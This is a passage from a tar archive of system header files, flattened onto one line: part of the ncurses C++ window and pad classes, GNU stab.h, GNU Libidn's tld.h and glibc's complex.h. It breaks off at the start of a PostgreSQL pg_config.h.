routine very early if you want to have colors. static int ripoffline(int ripoff_lines, int (*init)(NCursesWindow& win)); // This function is used to generate a window of ripped-of lines. // If the argument is positive, lines are removed from the top, if it // is negative lines are removed from the bottom. This enhances the // lowlevel ripoffline() function because it uses the internal // implementation that allows to remove more than just a single line. // This function must be called before any other ncurses function. The // creation of the window is deferred until ncurses gets initialized. // The initialization function is then called. // ------------------------------------------------------------------------- // terminal status // ------------------------------------------------------------------------- int lines() const { initialize(); return LINES; } // Number of lines on terminal, *not* window int cols() const { initialize(); return COLS; } // Number of cols on terminal, *not* window int tabsize() const { initialize(); return TABSIZE; } // Size of a tab on terminal, *not* window static int NumberOfColors(); // Number of available colors int colors() const { return NumberOfColors(); } // Number of available colors // ------------------------------------------------------------------------- // window status // ------------------------------------------------------------------------- int height() const { return maxy() + 1; } // Number of lines in this window int width() const { return maxx() + 1; } // Number of columns in this window int begx() const { return getbegx(w); } // Column of top left corner relative to stdscr int begy() const { return getbegy(w); } // Line of top left corner relative to stdscr int curx() const { return getcurx(w); } // Column of top left corner relative to stdscr int cury() const { return getcury(w); } // Line of top left corner relative to stdscr int maxx() const { return getmaxx(w) == ERR ? ERR : getmaxx(w)-1; } // Largest x coord in window int maxy() const { return getmaxy(w) == ERR ? ERR : getmaxy(w)-1; } // Largest y coord in window NCURSES_PAIRS_T getcolor() const; // Actual color pair NCURSES_COLOR_T foreground() const { return getcolor(0); } // Actual foreground color NCURSES_COLOR_T background() const { return getcolor(1); } // Actual background color int setpalette(NCURSES_COLOR_T fore, NCURSES_COLOR_T back); // Set color palette entry int setcolor(NCURSES_PAIRS_T pair); // Set actually used palette entry // ------------------------------------------------------------------------- // window positioning // ------------------------------------------------------------------------- virtual int mvwin(int begin_y, int begin_x) { return ::mvwin(w, begin_y, begin_x); } // Move window to new position with the new position as top left corner. // This is virtual because it is redefined in NCursesPanel. // ------------------------------------------------------------------------- // coordinate positioning // ------------------------------------------------------------------------- int move(int y, int x) { return ::wmove(w, y, x); } // Move cursor the this position void getyx(int& y, int& x) const { ::getyx(w, y, x); } // Get current position of the cursor void getbegyx(int& y, int& x) const { ::getbegyx(w, y, x); } // Get beginning of the window void getmaxyx(int& y, int& x) const { ::getmaxyx(w, y, x); } // Get size of the window void getparyx(int& y, int& x) const { ::getparyx(w, y, x); } // Get parent's beginning of the window int mvcur(int oldrow, int oldcol, int newrow, int newcol) const { return ::mvcur(oldrow, oldcol, newrow, newcol); } // Perform lowlevel cursor motion that takes effect immediately. // ------------------------------------------------------------------------- // input // ------------------------------------------------------------------------- int getch() { return ::wgetch(w); } // Get a keystroke from the window. int getch(int y, int x) { return ::mvwgetch(w, y, x); } // Move cursor to position and get a keystroke from the window int getstr(char* str, int n=-1) { return ::wgetnstr(w, str, n); } // Read a series of characters into str until a newline or carriage return // is received. Read at most n characters. If n is negative, the limit is // ignored. int getstr(int y, int x, char* str, int n=-1) { return ::mvwgetnstr(w, y, x, str, n); } // Move the cursor to the requested position and then perform the getstr() // as described above. int instr(char *s, int n=-1) { return ::winnstr(w, s, n); } // Get a string of characters from the window into the buffer s. Retrieve // at most n characters, if n is negative retrieve all characters up to the // end of the current line. Attributes are stripped from the characters. int instr(int y, int x, char *s, int n=-1) { return ::mvwinnstr(w, y, x, s, n); } // Move the cursor to the requested position and then perform the instr() // as described above. int scanw(const char* fmt, ...) // Perform a scanw function from the window. #if __GNUG__ >= 2 __attribute__ ((format (scanf, 2, 3))); #else ; #endif int scanw(const char*, va_list); // Perform a scanw function from the window. int scanw(int y, int x, const char* fmt, ...) // Move the cursor to the requested position and then perform a scanw // from the window. #if __GNUG__ >= 2 __attribute__ ((format (scanf, 4, 5))); #else ; #endif int scanw(int y, int x, const char* fmt, va_list); // Move the cursor to the requested position and then perform a scanw // from the window. // ------------------------------------------------------------------------- // output // ------------------------------------------------------------------------- int addch(const chtype ch) { return ::waddch(w, ch); } // Put attributed character to the window. int addch(int y, int x, const chtype ch) { return ::mvwaddch(w, y, x, ch); } // Move cursor to the requested position and then put attributed character // to the window. int echochar(const chtype ch) { return ::wechochar(w, ch); } // Put attributed character to the window and refresh it immediately. int addstr(const char* str, int n=-1) { return ::waddnstr(w, str, n); } // Write the string str to the window, stop writing if the terminating // NUL or the limit n is reached. If n is negative, it is ignored. int addstr(int y, int x, const char * str, int n=-1) { return ::mvwaddnstr(w, y, x, str, n); } // Move the cursor to the requested position and then perform the addchstr // as described above. int addchstr(const chtype* str, int n=-1) { return ::waddchnstr(w, str, n); } // Write the string str to the window, stop writing if the terminating // NUL or the limit n is reached. If n is negative, it is ignored. int addchstr(int y, int x, const chtype * str, int n=-1) { return ::mvwaddchnstr(w, y, x, str, n); } // Move the cursor to the requested position and then perform the addchstr // as described above. int printw(const char* fmt, ...) // Do a formatted print to the window. #if (__GNUG__ >= 2) && !defined(printf) __attribute__ ((format (printf, 2, 3))); #else ; #endif int printw(int y, int x, const char * fmt, ...) // Move the cursor and then do a formatted print to the window. #if (__GNUG__ >= 2) && !defined(printf) __attribute__ ((format (printf, 4, 5))); #else ; #endif int printw(const char* fmt, va_list args); // Do a formatted print to the window. int printw(int y, int x, const char * fmt, va_list args); // Move the cursor and then do a formatted print to the window. chtype inch() const { return ::winch(w); } // Retrieve attributed character under the current cursor position. chtype inch(int y, int x) { return ::mvwinch(w, y, x); } // Move cursor to requested position and then retrieve attributed character // at this position. int inchstr(chtype* str, int n=-1) { return ::winchnstr(w, str, n); } // Read the string str from the window, stop reading if the terminating // NUL or the limit n is reached. If n is negative, it is ignored. int inchstr(int y, int x, chtype * str, int n=-1) { return ::mvwinchnstr(w, y, x, str, n); } // Move the cursor to the requested position and then perform the inchstr // as described above. int insch(chtype ch) { return ::winsch(w, ch); } // Insert attributed character into the window before current cursor // position. int insch(int y, int x, chtype ch) { return ::mvwinsch(w, y, x, ch); } // Move cursor to requested position and then insert the attributed // character before that position. int insertln() { return ::winsdelln(w, 1); } // Insert an empty line above the current line. int insdelln(int n=1) { return ::winsdelln(w, n); } // If n>0 insert that many lines above the current line. If n<0 delete // that many lines beginning with the current line. int insstr(const char *s, int n=-1) { return ::winsnstr(w, s, n); } // Insert the string into the window before the current cursor position. // Insert stops at end of string or when the limit n is reached. If n is // negative, it is ignored. int insstr(int y, int x, const char *s, int n=-1) { return ::mvwinsnstr(w, y, x, s, n); } // Move the cursor to the requested position and then perform the insstr() // as described above. int attron (chtype at) { return ::wattron (w, at); } // Switch on the window attributes; int attroff(chtype at) { return ::wattroff(w, static_cast<int>(at)); } // Switch off the window attributes; int attrset(chtype at) { return ::wattrset(w, static_cast<int>(at)); } // Set the window attributes; chtype attrget() { return ::getattrs(w); } // Get the window attributes; int color_set(NCURSES_PAIRS_T color_pair_number, void* opts=NULL) { return ::wcolor_set(w, color_pair_number, opts); } // Set the window color attribute; int chgat(int n, attr_t attr, NCURSES_PAIRS_T color, const void *opts=NULL) { return ::wchgat(w, n, attr, color, opts); } // Change the attributes of the next n characters in the current line. If // n is negative or greater than the number of remaining characters in the // line, the attributes will be changed up to the end of the line. int chgat(int y, int x, int n, attr_t attr, NCURSES_PAIRS_T color, const void *opts=NULL) { return ::mvwchgat(w, y, x, n, attr, color, opts); } // Move the cursor to the requested position and then perform chgat() as // described above. // ------------------------------------------------------------------------- // background // ------------------------------------------------------------------------- chtype getbkgd() const { return ::getbkgd(w); } // Get current background setting. int bkgd(const chtype ch) { return ::wbkgd(w, ch); } // Set the background property and apply it to the window. void bkgdset(chtype ch) { ::wbkgdset(w, ch); } // Set the background property. // ------------------------------------------------------------------------- // borders // ------------------------------------------------------------------------- int box(chtype vert=0, chtype hor=0) { return ::wborder(w, vert, vert, hor, hor, 0, 0, 0, 0); } // Draw a box around the window with the given vertical and horizontal // drawing characters. If you specify a zero as character, curses will try // to find a "nice" character. int border(chtype left=0, chtype right=0, chtype top =0, chtype bottom=0, chtype top_left =0, chtype top_right=0, chtype bottom_left =0, chtype bottom_right=0) { return ::wborder(w, left, right, top, bottom, top_left, top_right, bottom_left, bottom_right); } // Draw a border around the window with the given characters for the // various parts of the border. If you pass zero for a character, curses // will try to find "nice" characters. // ------------------------------------------------------------------------- // lines and boxes // ------------------------------------------------------------------------- int hline(int len, chtype ch=0) { return ::whline(w, ch, len); } // Draw a horizontal line of len characters with the given character. If // you pass zero for the character, curses will try to find a "nice" one. int hline(int y, int x, int len, chtype ch=0) { return ::mvwhline(w, y, x, ch, len); } // Move the cursor to the requested position and then draw a horizontal line. int vline(int len, chtype ch=0) { return ::wvline(w, ch, len); } // Draw a vertical line of len characters with the given character. If // you pass zero for the character, curses will try to find a "nice" one. int vline(int y, int x, int len, chtype ch=0) { return ::mvwvline(w, y, x, ch, len); } // Move the cursor to the requested position and then draw a vertical line. // ------------------------------------------------------------------------- // erasure // ------------------------------------------------------------------------- int erase() { return ::werase(w); } // Erase the window. int clear() { return ::wclear(w); } // Clear the window. int clearok(bool bf) { return ::clearok(w, bf); } // Set/Reset the clear flag. If set, the next refresh() will clear the // screen. int clrtobot() { return ::wclrtobot(w); } // Clear to the end of the window. int clrtoeol() { return ::wclrtoeol(w); } // Clear to the end of the line. int delch() { return ::wdelch(w); } // Delete character under the cursor. int delch(int y, int x) { return ::mvwdelch(w, y, x); } // Move cursor to requested position and delete the character under the // cursor. int deleteln() { return ::winsdelln(w, -1); } // Delete the current line. // ------------------------------------------------------------------------- // screen control // ------------------------------------------------------------------------- int scroll(int amount=1) { return ::wscrl(w, amount); } // Scroll amount lines. If amount is positive, scroll up, otherwise // scroll down. int scrollok(bool bf) { return ::scrollok(w, bf); } // If bf is TRUE, window scrolls if cursor is moved off the bottom // edge of the window or a scrolling region, otherwise the cursor is left // at the bottom line. int setscrreg(int from, int to) { return ::wsetscrreg(w, from, to); } // Define a soft scrolling region. int idlok(bool bf) { return ::idlok(w, bf); } // If bf is TRUE, use insert/delete line hardware support if possible. // Otherwise do it in software. void idcok(bool bf) { ::idcok(w, bf); } // If bf is TRUE, use insert/delete character hardware support if possible. // Otherwise do it in software. int touchline(int s, int c) { return ::touchline(w, s, c); } // Mark the given lines as modified. int touchwin() { return ::wtouchln(w, 0, height(), 1); } // Mark the whole window as modified. int untouchwin() { return ::wtouchln(w, 0, height(), 0); } // Mark the whole window as unmodified. int touchln(int s, int cnt, bool changed=TRUE) { return ::wtouchln(w, s, cnt, static_cast<int>(changed ? 1 : 0)); } // Mark cnt lines beginning from line s as changed or unchanged, depending // on the value of the changed flag. bool is_linetouched(int line) const { return (::is_linetouched(w, line) == TRUE ? TRUE:FALSE); } // Return TRUE if line is marked as changed, FALSE otherwise bool is_wintouched() const { return (::is_wintouched(w) ? TRUE:FALSE); } // Return TRUE if window is marked as changed, FALSE otherwise int leaveok(bool bf) { return ::leaveok(w, bf); } // If bf is TRUE, curses will leave the cursor after an update whereever // it is after the update. int redrawln(int from, int n) { return ::wredrawln(w, from, n); } // Redraw n lines starting from the requested line int redrawwin() { return ::wredrawln(w, 0, height()); } // Redraw the whole window int doupdate() { return ::doupdate(); } // Do all outputs to make the physical screen looking like the virtual one void syncdown() { ::wsyncdown(w); } // Propagate the changes down to all descendant windows void syncup() { ::wsyncup(w); } // Propagate the changes up in the hierarchy void cursyncup() { ::wcursyncup(w); } // Position the cursor in all ancestor windows corresponding to our setting int syncok(bool bf) { return ::syncok(w, bf); } // If called with bf=TRUE, syncup() is called whenever the window is changed #ifndef _no_flushok int flushok(bool bf) { return ::flushok(w, bf); } #endif void immedok(bool bf) { ::immedok(w, bf); } // If called with bf=TRUE, any change in the window will cause an // automatic immediate refresh() int intrflush(bool bf) { return ::intrflush(w, bf); } int keypad(bool bf) { return ::keypad(w, bf); } // If called with bf=TRUE, the application will interpret function keys. int nodelay(bool bf) { return ::nodelay(w, bf); } int meta(bool bf) { return ::meta(w, bf); } // If called with bf=TRUE, keys may generate 8-Bit characters. Otherwise // 7-Bit characters are generated. int standout() { return ::wstandout(w); } // Enable "standout" attributes int standend() { return ::wstandend(w); } // Disable "standout" attributes // ------------------------------------------------------------------------- // The next two are virtual, because we redefine them in the // NCursesPanel class. // ------------------------------------------------------------------------- virtual int refresh() { return ::wrefresh(w); } // Propagate the changes in this window to the virtual screen and call // doupdate(). This is redefined in NCursesPanel. virtual int noutrefresh() { return ::wnoutrefresh(w); } // Propagate the changes in this window to the virtual screen. This is // redefined in NCursesPanel. // ------------------------------------------------------------------------- // multiple window control // ------------------------------------------------------------------------- int overlay(NCursesWindow& win) { return ::overlay(w, win.w); } // Overlay this window over win. int overwrite(NCursesWindow& win) { return ::overwrite(w, win.w); } // Overwrite win with this window. int copywin(NCursesWindow& win, int sminrow, int smincol, int dminrow, int dmincol, int dmaxrow, int dmaxcol, bool overlaywin=TRUE) { return ::copywin(w, win.w, sminrow, smincol, dminrow, dmincol, dmaxrow, dmaxcol, static_cast<int>(overlaywin ? 1 : 0)); } // Overlay or overwrite the rectangle in win given by dminrow,dmincol, // dmaxrow,dmaxcol with the rectangle in this window beginning at // sminrow,smincol. // ------------------------------------------------------------------------- // Extended functions // ------------------------------------------------------------------------- #if defined(NCURSES_EXT_FUNCS) && (NCURSES_EXT_FUNCS != 0) int wresize(int newLines, int newColumns) { return ::wresize(w, newLines, newColumns); } #endif // ------------------------------------------------------------------------- // Mouse related // ------------------------------------------------------------------------- bool has_mouse() const; // Return TRUE if terminal supports a mouse, FALSE otherwise // ------------------------------------------------------------------------- // traversal support // ------------------------------------------------------------------------- NCursesWindow* child() { return subwins; } // Get the first child window. NCursesWindow* sibling() { return sib; } // Get the next child of my parent. NCursesWindow* parent() { return par; } // Get my parent. bool isDescendant(NCursesWindow& win); // Return TRUE if win is a descendant of this. }; // ------------------------------------------------------------------------- // We leave this here for compatibility reasons. // ------------------------------------------------------------------------- class NCURSES_IMPEXP NCursesColorWindow : public NCursesWindow { public: NCursesColorWindow(WINDOW* &window) // useful only for stdscr : NCursesWindow(window) { useColors(); } NCursesColorWindow(int nlines, // number of lines int ncols, // number of columns int begin_y, // line origin int begin_x) // col origin : NCursesWindow(nlines, ncols, begin_y, begin_x) { useColors(); } NCursesColorWindow(NCursesWindow& parentWin,// parent window int nlines, // number of lines int ncols, // number of columns int begin_y, // absolute or relative int begin_x, // origins: char absrel = 'a') // if `a', by & bx are : NCursesWindow(parentWin, nlines, ncols, // absolute screen pos, begin_y, begin_x, // else if `r', they are absrel ) { // relative to par origin useColors(); } }; // These enum definitions really belong inside the NCursesPad class, but only // recent compilers support that feature. typedef enum { REQ_PAD_REFRESH = KEY_MAX + 1, REQ_PAD_UP, REQ_PAD_DOWN, REQ_PAD_LEFT, REQ_PAD_RIGHT, REQ_PAD_EXIT } Pad_Request; const Pad_Request PAD_LOW = REQ_PAD_REFRESH; // lowest op-code const Pad_Request PAD_HIGH = REQ_PAD_EXIT; // highest op-code // ------------------------------------------------------------------------- // Pad Support. We allow an association of a pad with a "real" window // through which the pad may be viewed. // ------------------------------------------------------------------------- class NCURSES_IMPEXP NCursesPad : public NCursesWindow { private: NCursesWindow* viewWin; // the "viewport" window NCursesWindow* viewSub; // the "viewport" subwindow int h_gridsize, v_gridsize; protected: int min_row, min_col; // top left row/col of the pads display area NCursesWindow* Win(void) const { // Get the window into which the pad should be copied (if any) return (viewSub?viewSub:(viewWin?viewWin:0)); } NCursesWindow* getWindow(void) const { return viewWin; } NCursesWindow* getSubWindow(void) const { return viewSub; } virtual int driver (int key); // Virtualize keystroke key // The driver translates the keystroke c into an Pad_Request virtual void OnUnknownOperation(int pad_req) { (void) pad_req; ::beep(); } // This is called if the driver returns an unknown op-code virtual void OnNavigationError(int pad_req) { (void) pad_req; ::beep(); } // This is called if a navigation request couldn't be satisfied virtual void OnOperation(int pad_req) { (void) pad_req; }; // OnOperation is called if a Pad_Operation was executed and just before // the refresh() operation is done. public: NCursesPad(int nlines, int ncols); // create a pad with the given size NCursesPad& operator=(const NCursesPad& rhs) { if (this != &rhs) { *this = rhs; NCursesWindow::operator=(rhs); } return *this; } NCursesPad(const NCursesPad& rhs) : NCursesWindow(rhs), viewWin(rhs.viewWin), viewSub(rhs.viewSub), h_gridsize(rhs.h_gridsize), v_gridsize(rhs.v_gridsize), min_row(rhs.min_row), min_col(rhs.min_col) { } virtual ~NCursesPad() {} int echochar(const chtype ch) { return ::pechochar(w, ch); } // Put the attributed character onto the pad and immediately do a // prefresh(). int refresh(); // If a viewport is defined the pad is displayed in this window, otherwise // this is a noop. int refresh(int pminrow, int pmincol, int sminrow, int smincol, int smaxrow, int smaxcol) { return ::prefresh(w, pminrow, pmincol, sminrow, smincol, smaxrow, smaxcol); } // The coordinates sminrow,smincol,smaxrow,smaxcol describe a rectangle // on the screen. <b>refresh</b> copies a rectangle of this size beginning // with top left corner pminrow,pmincol onto the screen and calls doupdate(). int noutrefresh(); // If a viewport is defined the pad is displayed in this window, otherwise // this is a noop. int noutrefresh(int pminrow, int pmincol, int sminrow, int smincol, int smaxrow, int smaxcol) { return ::pnoutrefresh(w, pminrow, pmincol, sminrow, smincol, smaxrow, smaxcol); } // Does the same as refresh() but without calling doupdate(). virtual void setWindow(NCursesWindow& view, int v_grid = 1, int h_grid = 1); // Add the window "view" as viewing window to the pad. virtual void setSubWindow(NCursesWindow& sub); // Use the subwindow "sub" of the viewport window for the actual viewing. // The full viewport window is usually used to provide some decorations // like frames, titles etc. virtual void operator() (void); // Perform Pad's operation }; // A FramedPad is constructed always with a viewport window. This viewport // will be framed (by a box() command) and the interior of the box is the // viewport subwindow. On the frame we display scrollbar sliders. class NCURSES_IMPEXP NCursesFramedPad : public NCursesPad { protected: virtual void OnOperation(int pad_req); public: NCursesFramedPad(NCursesWindow& win, int nlines, int ncols, int v_grid = 1, int h_grid = 1) : NCursesPad(nlines, ncols) { NCursesPad::setWindow(win, v_grid, h_grid); NCursesPad::setSubWindow(*(new NCursesWindow(win))); } // Construct the FramedPad with the given Window win as viewport. virtual ~NCursesFramedPad() { delete getSubWindow(); } void setWindow(NCursesWindow& view, int v_grid = 1, int h_grid = 1) { (void) view; (void) v_grid; (void) h_grid; err_handler("Operation not allowed"); } // Disable this call; the viewport is already defined void setSubWindow(NCursesWindow& sub) { (void) sub; err_handler("Operation not allowed"); } // Disable this call; the viewport subwindow is already defined }; #endif /* NCURSES_CURSESW_H_incl */ stab.h 0000644 00000000410 15246445046 0005653 0 ustar 00 #ifndef __GNU_STAB__ /* Indicate the GNU stab.h is in use. */ #define __GNU_STAB__ #define __define_stab(NAME, CODE, STRING) NAME=CODE, enum __stab_debug_code { #include <bits/stab.def> LAST_UNUSED_STAB_CODE }; #undef __define_stab #endif /* __GNU_STAB_ */ tld.h 0000644 00000011052 15246445046 0005511 0 ustar 00 /* tld.h --- Declarations for TLD restriction checking. Copyright (C) 2004-2016 Simon Josefsson. Copyright (C) 2003-2014, 2016 Free Software Foundation, Inc. Author: Thomas Jacob, Internet24.de This file is part of GNU Libidn. GNU Libidn is free software: you can redistribute it and/or modify it under the terms of either: * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. or both in parallel, as here. GNU Libidn is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef TLD_H # define TLD_H # ifndef IDNAPI # if defined LIBIDN_BUILDING && defined HAVE_VISIBILITY && HAVE_VISIBILITY # define IDNAPI __attribute__((__visibility__("default"))) # elif defined LIBIDN_BUILDING && defined _MSC_VER && ! defined LIBIDN_STATIC # define IDNAPI __declspec(dllexport) # elif defined _MSC_VER && ! defined LIBIDN_STATIC # define IDNAPI __declspec(dllimport) # else # define IDNAPI # endif # endif # ifdef __cplusplus extern "C" { # endif /* Get size_t. */ # include <stdlib.h> /* Get uint32_t. */ # include <idn-int.h> /* Interval of valid code points in the TLD. */ struct Tld_table_element { uint32_t start; /* Start of range. */ uint32_t end; /* End of range, end == start if single. */ }; typedef struct Tld_table_element Tld_table_element; /* List valid code points in a TLD. */ struct Tld_table { const char *name; /* TLD name, e.g., "no". */ const char *version; /* Version string from TLD file. */ size_t nvalid; /* Number of entries in data. */ const Tld_table_element *valid; /* Sorted array of valid code points. */ }; typedef struct Tld_table Tld_table; /* Error codes. */ typedef enum { TLD_SUCCESS = 0, TLD_INVALID = 1, /* Invalid character found. */ TLD_NODATA = 2, /* Char, domain or inlen = 0. */ TLD_MALLOC_ERROR = 3, TLD_ICONV_ERROR = 4, TLD_NO_TLD = 5, /* Workaround typo in earlier versions. */ TLD_NOTLD = TLD_NO_TLD } Tld_rc; extern IDNAPI const char *tld_strerror (Tld_rc rc); /* Extract TLD, as ASCII string, of UCS4 domain name into "out". */ extern IDNAPI int tld_get_4 (const uint32_t * in, size_t inlen, char **out); extern IDNAPI int tld_get_4z (const uint32_t * in, char **out); extern IDNAPI int tld_get_z (const char *in, char **out); /* Return structure corresponding to the named TLD from specified * list of TLD tables, or return NULL if no matching TLD can be * found. */ extern IDNAPI const Tld_table *tld_get_table (const char *tld, const Tld_table ** tables); /* Return structure corresponding to the named TLD, first looking * thru overrides then thru built-in list, or return NULL if no * matching TLD can be found. */ extern IDNAPI const Tld_table * tld_default_table (const char *tld, const Tld_table ** overrides); /* Check NAMEPREPPED domain name for valid characters as defined by * the relevant registering body (plus [a-z0-9.-]). If error is * TLD_INVALID, set errpos to position of offending character. */ extern IDNAPI int tld_check_4t (const uint32_t * in, size_t inlen, size_t * errpos, const Tld_table * tld); extern IDNAPI int tld_check_4tz (const uint32_t * in, size_t * errpos, const Tld_table * tld); /* Utility interfaces that uses tld_get_4* to find TLD of string, then tld_default_table (with overrides) to find proper TLD table for the string, and then hands over to tld_check_4t*. */ extern IDNAPI int tld_check_4 (const uint32_t * in, size_t inlen, size_t * errpos, const Tld_table ** overrides); extern IDNAPI int tld_check_4z (const uint32_t * in, size_t * errpos, const Tld_table ** overrides); extern IDNAPI int tld_check_8z (const char *in, size_t * errpos, const Tld_table ** overrides); extern IDNAPI int tld_check_lz (const char *in, size_t * errpos, const Tld_table ** overrides); # ifdef __cplusplus } # endif #endif /* TLD_H */ complex.h 0000644 00000015773 15246445046 0006413 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99: 7.3 Complex arithmetic <complex.h> */ #ifndef _COMPLEX_H #define _COMPLEX_H 1 #define __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION #include <bits/libc-header-start.h> /* Get general and ISO C99 specific information. */ #include <bits/mathdef.h> /* Gather machine-dependent _FloatN type support. */ #include <bits/floatn.h> __BEGIN_DECLS /* We might need to add support for more compilers here. But since ISO C99 is out hopefully all maintained compilers will soon provide the data types `float complex' and `double complex'. */ #if __GNUC_PREREQ (2, 7) && !__GNUC_PREREQ (2, 97) # define _Complex __complex__ #endif #define complex _Complex /* Narrowest imaginary unit. This depends on the floating-point evaluation method. XXX This probably has to go into a gcc related file. */ #define _Complex_I (__extension__ 1.0iF) /* Another more descriptive name is `I'. XXX Once we have the imaginary support switch this to _Imaginary_I. */ #undef I #define I _Complex_I #if defined __USE_ISOC11 && __GNUC_PREREQ (4, 7) /* Macros to expand into expression of specified complex type. */ # define CMPLX(x, y) __builtin_complex ((double) (x), (double) (y)) # define CMPLXF(x, y) __builtin_complex ((float) (x), (float) (y)) # define CMPLXL(x, y) __builtin_complex ((long double) (x), (long double) (y)) #endif #if __HAVE_FLOAT16 && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF16(x, y) __builtin_complex ((_Float16) (x), (_Float16) (y)) #endif #if __HAVE_FLOAT32 && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF32(x, y) __builtin_complex ((_Float32) (x), (_Float32) (y)) #endif #if __HAVE_FLOAT64 && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF64(x, y) __builtin_complex ((_Float64) (x), (_Float64) (y)) #endif #if __HAVE_FLOAT128 && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF128(x, y) __builtin_complex ((_Float128) (x), (_Float128) (y)) #endif #if __HAVE_FLOAT32X && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF32X(x, y) __builtin_complex ((_Float32x) (x), (_Float32x) (y)) #endif #if __HAVE_FLOAT64X && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF64X(x, y) __builtin_complex ((_Float64x) (x), (_Float64x) (y)) #endif #if __HAVE_FLOAT128X && __GLIBC_USE (IEC_60559_TYPES_EXT) # define CMPLXF128X(x, y) \ __builtin_complex ((_Float128x) (x), (_Float128x) (y)) #endif /* The file <bits/cmathcalls.h> contains the prototypes for all the actual math functions. These macros are used for those prototypes, so we can easily declare each function as both `name' and `__name', and can declare the float versions `namef' and `__namef'. */ #define __MATHCALL(function, args) \ __MATHDECL (_Mdouble_complex_,function, args) #define __MATHDECL(type, function, args) \ __MATHDECL_1(type, function, args); \ __MATHDECL_1(type, __CONCAT(__,function), args) #define __MATHDECL_1(type, function, args) \ extern type __MATH_PRECNAME(function) args __THROW #define _Mdouble_ double #define __MATH_PRECNAME(name) name #include <bits/cmathcalls.h> #undef _Mdouble_ #undef __MATH_PRECNAME /* Now the float versions. */ #define _Mdouble_ float #define __MATH_PRECNAME(name) name##f #include <bits/cmathcalls.h> #undef _Mdouble_ #undef __MATH_PRECNAME /* And the long double versions. It is non-critical to define them here unconditionally since `long double' is required in ISO C99. */ #if !(defined __NO_LONG_DOUBLE_MATH && defined _LIBC) \ || defined __LDBL_COMPAT # ifdef __LDBL_COMPAT # undef __MATHDECL_1 # define __MATHDECL_1(type, function, args) \ extern type __REDIRECT_NTH(__MATH_PRECNAME(function), args, function) # endif # define _Mdouble_ long double # define __MATH_PRECNAME(name) name##l # include <bits/cmathcalls.h> #endif #undef _Mdouble_ #undef __MATH_PRECNAME #if (__HAVE_DISTINCT_FLOAT16 || (__HAVE_FLOAT16 && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT16 # define _Mdouble_ _Float16 # define __MATH_PRECNAME(name) name##f16 # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT32 || (__HAVE_FLOAT32 && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT32 # define _Mdouble_ _Float32 # define __MATH_PRECNAME(name) name##f32 # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT64 || (__HAVE_FLOAT64 && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT64 # define _Mdouble_ _Float64 # define __MATH_PRECNAME(name) name##f64 # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT128 || (__HAVE_FLOAT128 && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT128 # define _Mdouble_ _Float128 # define __MATH_PRECNAME(name) name##f128 # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT32X || (__HAVE_FLOAT32X && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT32X # define _Mdouble_ _Float32x # define __MATH_PRECNAME(name) name##f32x # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT64X || (__HAVE_FLOAT64X && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT64X # define _Mdouble_ _Float64x # define __MATH_PRECNAME(name) name##f64x # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #if (__HAVE_DISTINCT_FLOAT128X || (__HAVE_FLOAT128X && !defined _LIBC)) \ && __GLIBC_USE (IEC_60559_TYPES_EXT) # undef _Mdouble_complex_ # define _Mdouble_complex_ __CFLOAT128X # define _Mdouble_ _Float128x # define __MATH_PRECNAME(name) name##f128x # include <bits/cmathcalls.h> # undef _Mdouble_ # undef __MATH_PRECNAME # undef _Mdouble_complex_ #endif #undef __MATHDECL_1 #undef __MATHDECL #undef __MATHCALL __END_DECLS #endif /* complex.h */ pg_config.h 0000644 00000002327 15246445046 0006666 0 ustar 00 /* * Kluge to support multilib installation of both 32- and 64-bit RPMS: * we need to arrange that header files that appear in both RPMs are * identical. Hence, this file is architecture-independent and calls * in an arch-dependent file that will appear in just one 